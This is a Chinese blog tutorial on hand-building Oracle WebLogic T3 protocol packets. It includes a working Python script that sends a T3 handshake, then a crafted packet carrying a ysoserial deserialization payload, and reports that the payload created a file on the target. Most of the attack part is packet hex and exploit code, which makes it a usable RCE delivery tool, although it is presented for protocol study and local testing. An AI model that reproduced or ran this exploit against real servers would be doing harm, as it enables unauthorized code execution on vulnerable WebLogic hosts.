weblogic T3协议(附python脚本)

系统 1854 0

前言

前段时间总结了weblogic历年来的rce漏洞,并编写了poc,这些漏洞中有好几个都要用到T3协议来发送序列化数据,所以需要用python来模拟实现t3协议,当然t3协议脚本,github上就可以找到,虽然用别人的脚本改一下也可以完成数据的发送,但是我还是很好奇这个t3协议到底怎么构造的,怎么发送数据的,他的协议格式是什么样的,于是再一番查阅资料过后,有了这篇文章。

这是正题

废话不多说,先丢一份参考资料,当中关于如何模拟t3协议数据包讲的很详细,我这里只是实操一下

http://drops.xmd5.com/static/drops/web-13470.html

为了直观,我先用wireshark抓一个t3通信的数据包,并以ascii方式显示

weblogic T3协议(附python脚本)_第1张图片
红色内容为我们发给weblogic的数据,蓝色为weblogic返回的数据

第一段红色数据相当于一个握手包,发给weblogic,然后webligc回复,这一段包很好构造,直接发送
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n 就行,重点是第二个包的构造,我们在wireshark中以hex模式查看数据流,如下

weblogic T3协议(附python脚本)_第2张图片
在继续之前,我们需要知道java反序列化数据都有一个特征数字:ac ed ,ac ed后面跟版本号(也就是上面的 00 05), 这个我们也可以通过实验证明:

            
              
                import
              
               java
              
                .
              
              io
              
                .
              
              *
              
                ;
              
              
                public
              
              
                class
              
              
                Ser
              
              
                {
              
              
                public
              
              
                static
              
              
                void
              
              
                main
              
              
                (
              
              String
              
                [
              
              
                ]
              
               args
              
                )
              
              
                throws
              
               IOException 
              
                {
              
              
        File file 
              
                =
              
              
                new
              
              
                File
              
              
                (
              
              
                "test.txt"
              
              
                )
              
              
                ;
              
              
        FileOutputStream out 
              
                =
              
              
                new
              
              
                FileOutputStream
              
              
                (
              
              file
              
                )
              
              
                ;
              
              
        ObjectOutputStream obj 
              
                =
              
              
                new
              
              
                ObjectOutputStream
              
              
                (
              
              out
              
                )
              
              
                ;
              
              
        obj
              
                .
              
              
                writeObject
              
              
                (
              
              
                (
              
              
                new
              
              
                Test1
              
              
                (
              
              
                "axin"
              
              
                ,
              
              
                18
              
              
                )
              
              
                )
              
              
                )
              
              
                ;
              
              
                }
              
              
                }
              
              
                class
              
              
                Test1
              
              
                implements
              
              
                Serializable
              
              
                {
              
              
    String name
              
                ;
              
              
                int
              
               age
              
                ;
              
              
                Test1
              
              
                (
              
              String name
              
                ,
              
              
                int
              
               age
              
                )
              
              
                {
              
              
                this
              
              
                .
              
              name 
              
                =
              
               name
              
                ;
              
              
                this
              
              
                .
              
              age 
              
                =
              
               age
              
                ;
              
              
                }
              
              
                public
              
              
                void
              
              
                show
              
              
                (
              
              
                )
              
              
                {
              
              
        System
              
                .
              
              out
              
                .
              
              
                println
              
              
                (
              
              
                "年龄:"
              
              
                +
              
              age
              
                +
              
              
                ",姓名:"
              
              
                +
              
              name
              
                )
              
              
                ;
              
              
                }
              
              
                }
              
            
          

上面是一小段java序列化的demo, 大概功能就是序列化Test1的对象并写入test.txt文件中,运行程序,我们可以看到工程目录下生成了test.txt文件,我们用一个可以以16进制展示文件的工具打开test.txt,我linux环境下用的xxd(使用方法:xxd 文件名),可以看到文件内容如下:

weblogic T3协议(附python脚本)_第3张图片

可以看到,这个序列化后的对象,开头几个数字也是aced0005。所以根据抓包结果,我一共在其中找到了五个aced,也就是说它t3协议发送了五个序列化后的对象,这和参考文章中所说的六个有所出入(以下是参考文章中的图片,借用一下)

weblogic T3协议(附python脚本)_第4张图片

虽然上图中的数据包和我所抓到的数据包有所出入,但是并不影响我们的分析,由上图可以看到以aced开头的有六部分,还有第一部分是一些额外的数据(直接拷贝就行),这个第一部分的前四个字节,也就是上图中的 00 00 06 af 是整个数据包的大小,单位是字节,所以这一点是我们在模拟t3协议需要特别关注的。

然后按照参考文章中所说,构造数据包一般来讲有两种方式,

  • 替换aced开头的六个部分中的任意一个

weblogic T3协议(附python脚本)_第5张图片

  • 直接将包含数据包长度的第一部分和我们的恶意序列化数据进行拼接(也就是用一个恶意序列化数据替换掉常规包中所有aced开头的序列化数据)

weblogic T3协议(附python脚本)_第6张图片

注:图片都来自参考文章

然后在参考别人写的t3协议脚本的时候还注意到一个细节,那就是如果采用第一种替换方式,那么你还需要在你的恶意序列化数据的结尾加上 fe010000 ,不知道为什么每个序列化数据都是用这几个字节隔开的,你可以通过上面的数据包截图观察到这一点。

但是如果你采用第二种方式构造数据包的话,就不需要担心这个问题,直接拼接就ok了。下面是我采用的第二种方式实现的一个python 模拟t3协议发送数据的脚本

            
              
                # -*- coding:utf-8 -*-
              
              
                import
              
               binascii

              
                import
              
               socket

              
                import
              
               time



              
                def
              
              
                t3
              
              
                (
              
              
                )
              
              
                :
              
              
    hello 
              
                =
              
              
                't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
              
              
    host 
              
                =
              
              
                (
              
              
                '127.0.0.1'
              
              
                ,
              
              
                7001
              
              
                )
              
              
    sock 
              
                =
              
               socket
              
                .
              
              socket
              
                (
              
              socket
              
                .
              
              AF_INET
              
                ,
              
               socket
              
                .
              
              SOCK_STREAM
              
                )
              
              
    sock
              
                .
              
              settimeout
              
                (
              
              
                15
              
              
                )
              
              
    sock
              
                .
              
              connect
              
                (
              
              host
              
                )
              
              
    sock
              
                .
              
              send
              
                (
              
              hello
              
                .
              
              encode
              
                (
              
              
                'utf-8'
              
              
                )
              
              
                )
              
              
    time
              
                .
              
              sleep
              
                (
              
              
                1
              
              
                )
              
              
    resp1 
              
                =
              
               sock
              
                .
              
              recv
              
                (
              
              
                1024
              
              
                )
              
              
                print
              
              
                (
              
              resp1
              
                )
              
              

    data1 
              
                =
              
              
                '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
              
              
                with
              
              
                open
              
              
                (
              
              
                'poc'
              
              
                ,
              
              
                'rb'
              
              
                )
              
              
                as
              
               f
              
                :
              
              
        a 
              
                =
              
               binascii
              
                .
              
              b2a_hex
              
                (
              
              f
              
                .
              
              read
              
                (
              
              
                )
              
              
                )
              
              
                .
              
              decode
              
                (
              
              
                'utf-8'
              
              
                )
              
              
                print
              
              
                (
              
              a
              
                )
              
              
    data 
              
                =
              
               data1 
              
                +
              
               a
    data 
              
                =
              
              
                '%s%s'
              
              
                %
              
              
                (
              
              
                '{:08x}'
              
              
                .
              
              
                format
              
              
                (
              
              
                len
              
              
                (
              
              data
              
                )
              
              
                //
              
              
                2
              
              
                +
              
              
                4
              
              
                )
              
              
                ,
              
               data
              
                )
              
              
    sock
              
                .
              
              send
              
                (
              
              binascii
              
                .
              
              a2b_hex
              
                (
              
              data
              
                )
              
              
                )
              
              
    time
              
                .
              
              sleep
              
                (
              
              
                2
              
              
                )
              
              
    sock
              
                .
              
              send
              
                (
              
              binascii
              
                .
              
              a2b_hex
              
                (
              
              data
              
                )
              
              
                )
              
              
                if
              
               __name__ 
              
                ==
              
              
                "__main__"
              
              
                :
              
              
    t3
              
                (
              
              
                )
              
            
          

其中poc文件存放着我利用ysoserial工具生成的一个payload,这个payload如果成功被有漏洞的weblogic反序列化的话就会在目标主机的/tmp目录下创建一个axin.txt文件,当执行该脚本后,我们去目标机上看一下:

在这里插入图片描述
成功创建,说明脚本没有问题


更多文章、技术交流、商务合作、联系博主

微信扫码或搜索:z360901061

微信扫一扫加我为好友

QQ号联系: 360901061

您的支持是博主写作最大的动力,如果您喜欢我的文章,感觉我的文章对您有帮助,请用微信扫描下面二维码支持博主2元、5元、10元、20元等您想捐的金额吧,狠狠点击下面给点支持吧,站长非常感激您!手机微信长按不能支付解决办法:请将微信支付二维码保存到相册,切换到微信,然后点击微信右上角扫一扫功能,选择支付二维码完成支付。

【本文对您有帮助就好】

您的支持是博主写作最大的动力,如果您喜欢我的文章,感觉我的文章对您有帮助,请用微信扫描上面二维码支持博主2元、5元、10元、自定义金额等您想捐的金额吧,站长会非常 感谢您的哦!!!

发表我的评论
最新评论 总共0条评论